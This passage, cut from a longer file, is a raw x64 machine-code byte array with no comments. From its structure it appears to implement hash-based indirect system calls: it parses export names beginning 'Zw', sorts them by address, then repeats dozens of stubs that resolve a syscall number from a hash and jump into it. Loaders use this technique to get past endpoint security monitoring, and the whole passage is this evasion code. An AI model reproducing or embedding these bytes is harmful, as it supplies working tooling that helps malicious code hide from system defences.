x00,0x00,0x48,0x8D,0x05,0xEC,0xAD,0x00,0x00,0x48,0x89,0x45,0x80,0x8B,0x45,0xE4,0x83,0xE8,0x01,0x89,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x90,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x85,0x78,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x78,0xFF,0xFF,0xFF,0x0F,0xB7,0x00,0x66,0x3D,0x5A,0x77,0x75,0x6E,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x8D,0x1C,0x02,0x48,0x8B,0x85,0x78,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0xB2,0xFD,0xFF,0xFF,0x89,0x03,0x8B,0x45,0xE4,0x83,0xE8,0x01,0x89,0xC0,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0x88,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x98,0x48,0x01,0xD0,0x8B,0x55,0xE0,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x00,0x89,0x42,0x04,0x83,0x45,0xE0,0x01,0x81,0x7D,0xE0,0x26,0x02,0x00,0x00,0x74,0x10,0x83,0x6D,0xE4,0x01,0x83,0x7D,0xE4,0x00,0x0F,0x85,0x4B,0xFF,0xFF,0xFF,0xEB,0x01,0x90,0x8B,0x45,0xE0,0x89,0x05,0x1F,0xAD,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xE9,0x3C,0x01,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xE9,0x17,0x01,0x00,0x00,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x8B,0x55,0xDC,0x83,0xC2,0x01,0x89,0xD2,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x52,0x04,0x39,0xC2,0x0F,0x83,0xDE,0x00,0x00,0x00,0x48,0xC7,0x85,0x40,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x48,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x00,0x89,0x85,0x40,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x89,0x85,0x44,0xFF,0xFF,0xFF,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x55,0xDC,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x00,0x89,0x02,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x55,0xDC,0x48,0x89,0xD1,0x48,0xC1,0xE1,0x04,0x48,0x8B,0x55,0x80,0x48,0x01,0xCA,0x8B,0x40,0x04,0x89,0x42,0x04,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xC2,0x8B,0x85,0x40,0xFF,0xFF,0xFF,0x89,0x02,0x8B,0x45,0xDC,0x83,0xC0,0x01,0x89,0xC0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xC2,0x8B,0x85,0x44,0xFF,0xFF,0xFF,0x89,0x42,0x04,0x83,0x45,0xDC,0x01,0x8B,0x05,0xEA,0xAB,0x00,0x00,0x2B,0x45,0xE0,0x83,0xE8,0x01,0x39,0x45,0xDC,0x0F,0x82,0xD4,0xFE,0xFF,0xFF,0x83,0x45,0xE0,0x01,0x8B,0x05,0xD1,0xAB,0x00,0x00,0x83,0xE8,0x01,0x39,0x45,0xE0,0x0F,0x82,0xB2,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0x80,0x48,0x83,0xC0,0x10,0x8B,0x50,0x04,0x48,0x8B,0x45,0x80,0x8B,0x40,0x04,0x29,0xC2,0x89,0x95,0x74,0xFF,0xFF,0xFF,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xEB,0x53,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x01,0xD0,0x8B,0x40,0x04,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x01,0xD0,0x48,0x89,0x85,0x68,0xFF,0xFF,0xFF,0x8B,0x45,0xE0,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8B,0x45,0x80,0x48,0x8D,0x1C,0x02,0x8B,0x95,0x74,0xFF,0xFF,0xFF,0x48,0x8B,0x85,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0x48,0xFA,0xFF,0xFF,0x48,0x89,0x43,0x08,0x83,0x45,0xE0,0x01,0x8B,0x05,0x49,0xAB,0x00,0x00,0x83,0xE8,0x01,0x39,0x45,0xE0,0x72,0x9F,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xE8,0x00,0x00,0x00,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0xE8,0xAC,0xFB,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3B,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x22,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0x05,0xAB,0x00,0x00,0x8B,0x04,0x02,0x39,0x45,0x10,0x75,0x05,0x8B,0x45,0xFC,0xEB,0x14,0x83,0x45,0xFC,0x01,0x8B,0x05,0xE6,0xAA,0x00,0x00,0x39,0x45,0xFC,0x72,0xD3,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0xE8,0x50,0xFB,0xFF,0xFF,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4D,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xEB,0x34,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0xA9,0xAA,0x00,0x00,0x8B,0x04,0x02,0x39,0x45,0x10,0x75,0x17,0x8B,0x45,0xFC,0x48,0xC1,0xE0,0x04,0x48,0x89,0xC2,0x48,0x8D,0x05,0x98,0xAA,0x00,0x00,0x48,0x8B,0x04,0x02,0xEB,0x14,0x83,0x45,0xFC,0x01,0x8B,0x05,0x78,0xAA,0x00,0x00,0x39,0x45,0xFC,0x72,0xC1,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x48,0xC7,0xC0,0x00,0x00,0x00,0x00,0xC3,0x90,0x0F,0x0B,0x48,0x8B,0x04,0x24,0xC3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0F,0x2A,0x9B,0xCD,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x57,0xFF,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xEC,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x2F,0x1A,0xBF,0xFF,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xFD,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x92,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x67,0x75,0x8B,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0xA6,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x3B,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x3F,0xD3,0x52,0x22,0x51,0x48,0x83,0xEC,0x28,0xE8,0x4F,0xFE,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE4,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xA2,0x15,0xA9,0x8F,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xF5,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x8A,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x20,0xBC,0xBC,0xBD,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x9B,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x30,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x80,0xE9,0x93,0x03,0x51,0x48,0x83,0xEC,0x28,0xE8,0x44,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD9,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x32,0x1B,0xAB,0x17,0x51,0x48,0x83,0xEC,0x28,0xE8,0xED,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x82,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1B,0x03,0x95,0x05,0x51,0x48,0x83,0xEC,0x28,0xE8,0x96,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x2B,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x05,0x2F,0x93,0x01,0x51,0x48,0x83,0xEC,0x28,0xE8,0x3F,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD4,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xB6,0x8E,0x01,0x96,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xE5,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x7A,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1A,0x2A,0xB2,0x24,0x51,0x48,0x83,0xEC,0x28,0xE8,0x8E,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x23,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0xE2,0x98,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0x37,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xCC,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x8F,0x2C,0x5B,0x4A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xE0,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x75,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x13,0xA4,0xBF,0x9C,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x86,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x1B,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x4F,0xF6,0x23,0x0E,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2F,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xC4,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0x76,0x63,0x42,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD8,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x6D,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1A,0x6A,0xB2,0x64,0x51,0x48,0x83,0xEC,0x28,0xE8,0x81,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x16,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xA0,0x64,0x2E,0x65,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2A,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBF,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x0C,0x32,0x9F,0x1D,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD3,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x68,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x36,0x71,0x91,0x27,0x51,0x48,0x83,0xEC,0x28,0xE8,0x7C,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x11,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x84,0x83,0x9C,0x09,0x51,0x48,0x83,0xEC,0x28,0xE8,0x25,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBA,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x87,0x5F,0xBE,0x1A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xCE,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x63,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xEA,0x62,0xBD,0xBC,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x74,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x09,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x6D,0xBA,0xD1,0x8A,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x1A,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xAF,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0F,0x98,0x97,0x8C,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xC0,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x55,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xA7,0x8C,0x3A,0xA6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x66,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xFB,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xF9,0x12,0x69,0xF0,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x0C,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xA1,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0